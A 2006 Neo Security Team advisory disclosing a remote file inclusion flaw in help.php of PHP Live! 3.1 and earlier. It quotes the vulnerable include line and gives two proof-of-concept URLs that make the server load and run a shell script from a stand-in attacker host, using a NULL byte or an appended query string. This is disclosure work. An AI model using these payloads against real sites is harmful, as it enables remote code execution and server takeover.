[N]eo [S]ecurity [T]eam [NST] - Advisory #25 - 08/10/06
--------------------------------------------------------
Program: PHP Live!
Homepage: http://www.phplivesupport.com/
Vulnerable Versions: 3.1 and prior
Risk: High!
Impact: Critical Risk

-==PHP Live! <= 3.1 help.php Remote File Inclusion vulnerability==-
---------------------------------------------------------

- Description
---------------------------------------------------------
PHP Live! enables live help and live customer support communication directly from your website. With PHP 
Live!, you can provide one-on-one chat assistance in real-time, answer visitor questions and add that extra human touch 
to 
your website.

- Tested
---------------------------------------------------------
localhost & many sites

- Explotation
---------------------------------------------------------

Vulnerable code:

==[ help.php 30 ]=============================
[...]
<?php $css_path = ( !isset( $css_path ) ) ? $css_path = "./" : $css_path ; include_once( $css_path."css/default.php" ) 
; ?>
[...]
==[ end help.php ]============================

How we can see there's an arbitrary file inclusion, so we can just include a file from another server, executing the 
php code 
in the victim's server.

Proof of Concept: http://victim.com/phplive/help.php?css_path=http://www.attacker.com/shell.foo%00

We use a NULL byte at the final of the string because include_once() take a null byte like the end of a string. In this 
way, 
"css/default.php" doesn't appears at the end of the var.

If you don't wanna use a NULL byte you can do something like:

http://victim.com/phplive/help.php?css_path=http://www.attacker.com/shell.foo?foo=

In this way $foo has css/default.php in the attacker script.


Note: this vulnerability is present only if register_globals is turned on.

There are a lot of Local and Remote File Inclusion vulnerabilities in this script... but there is no reason to publish 
it.
